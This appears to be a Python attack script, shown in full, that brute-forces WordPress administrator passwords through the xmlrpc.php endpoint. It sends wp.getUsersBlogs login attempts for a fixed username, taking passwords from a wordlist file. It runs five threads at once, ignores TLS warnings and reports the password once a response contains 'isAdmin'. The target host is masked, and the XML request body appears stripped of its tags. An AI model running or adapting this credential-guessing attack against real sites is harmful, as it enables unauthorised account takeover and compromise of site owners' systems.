import requests import threading import sys import urllib3 urllib3.disable_warnings() class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def send_request(word, stop_event, count): headers = {"Content-Type": "application/xml"} data = f"""wp.getUsersBlogsamir{word}""" response = requests.post("https://xxxxxxx.com/xmlrpc.php",data,headers=headers) if "isAdmin" in response.text: print(bcolors.OKGREEN + f'\r[+] Password is => {word} {len(word)*2*" "}') stop_event.set() else: sys.stdout.write(bcolors.WARNING + f"\r[!] Wrong Password => {word} => count {count} {len(word)* ' '}") sys.stdout.flush() print("\r", end=' '*20) threads = [] with open('password.txt') as f: words = f.read().splitlines() stop_event = threading.Event() count = 1 NumberOfThreads = 5 for i in range(NumberOfThreads): t = threading.Thread(target=send_request, args=(words[i], stop_event,count)) count +=1 t.start() threads.append(t) for i in range(NumberOfThreads, len(words)): if stop_event.is_set(): break threads[i % NumberOfThreads].join() t = threading.Thread(target=send_request, args=(words[i], stop_event,count)) count +=1 t.start() threads[i % NumberOfThreads] = t for t in threads: t.join()